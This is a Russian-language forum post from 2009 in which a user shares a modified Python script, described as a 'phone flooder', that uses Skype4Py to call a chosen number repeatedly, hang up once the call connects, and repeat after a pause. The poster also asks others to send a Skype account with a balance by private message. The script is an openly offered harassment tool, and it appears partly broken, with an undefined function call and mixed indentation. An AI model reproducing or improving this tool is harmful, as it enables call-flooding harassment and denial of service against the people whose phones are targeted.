Показать сообщение отдельно

  #18  
Старый 17.04.2009, 12:03
login999
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме:
4512757

Репутация: 973


По умолчанию

Немного переделал. как мне удобнее+ сделал какую-никакую проверку входных значений + русифицировал и снес английские комменты, так как лично мне они затрудняли чтение кода

Насчет работоспособности то нет возможности проверить, так как дома буду не раньше понедельника, а на работе скайпа нету , да и акков с балансом тоже нету, да и с синтаксисом для меня тут есть непонятки. Буду дома - потыкаю поближе , так как без скайпа это имеет мало смысла
Был бы благодарен, если бы в личку подкинули акк с балансом

Код:
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Флудер телефонов. Работает со skype. У вас должен быть положительный баланс на skype аккаунте.
# Для работы необходимы:
# Python: http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.1.1-win32-x86.msi
# Skype4Py: http://garr.dl.sourceforge.net/sourceforge/skype4py/Skype4Py-1.0.31.0.win32.exe
# Skype: http://www.skype.com/intl/ru/download/
#
# version 0.2
# created by inlanger

import sys, time, Skype4Py
from Skype4Py import call

skype = Skype4Py.Skype()

def OnCall(call, status):
	global CallStatus
	CallStatus = status
	print u"Статус звонка: " + skype.Convert.CallStatusToText(status)
	if CallStatusText(status)=="Call in Progress":
		call.Finish()
		print u"Ждем-с..."
		
def OnAttach(status):
	print u"API статус присоединенного: " + skype.Convert.AttachmentStatusToText(status)
	if status == Skype4Py.apiAttachAvailable:
		skype.Attach()

print u"Введите номер телефона, например +1234567890: "
num = raw_input("")
print u"Ведите паузу (в секундах): "
pause = raw_input("")

while True:
    CallStatus = 0
    CallIsFinished = set ([Skype4Py.clsFailed, Skype4Py.clsFinished, Skype4Py.clsMissed, Skype4Py.clsRefused, Skype4Py.clsBusy, Skype4Py.clsCancelled]);
    if num[-1:].isdigit():
        if pause.isdigit():
        	skype.OnAttachmentStatus = OnAttach
        	skype.OnCallStatus = OnCall
        	if not skype.Client.IsRunning:
        		print u"Запускаем Skype.."
        		skype.Client.Start()
        	print u"Присоединяемся к Skype.."
        	skype.Attach()
        	skype.PlaceCall(num)
        	Found = False
        	while not CallStatus in CallIsFinished:
        		pass
        	time.sleep(int(pause))
       	else:
       		print u"Прекратите ху*нё* страдать! Введите ЦИФЕРНОЕ значение паузы!"
       		keypressed = raw_input("")
       		sys.exit()
    else:
        print u"Может нормальный номер телефона введем ?"
        keypressed = raw_input("")
        sys.exit()
 
Ответить с цитированием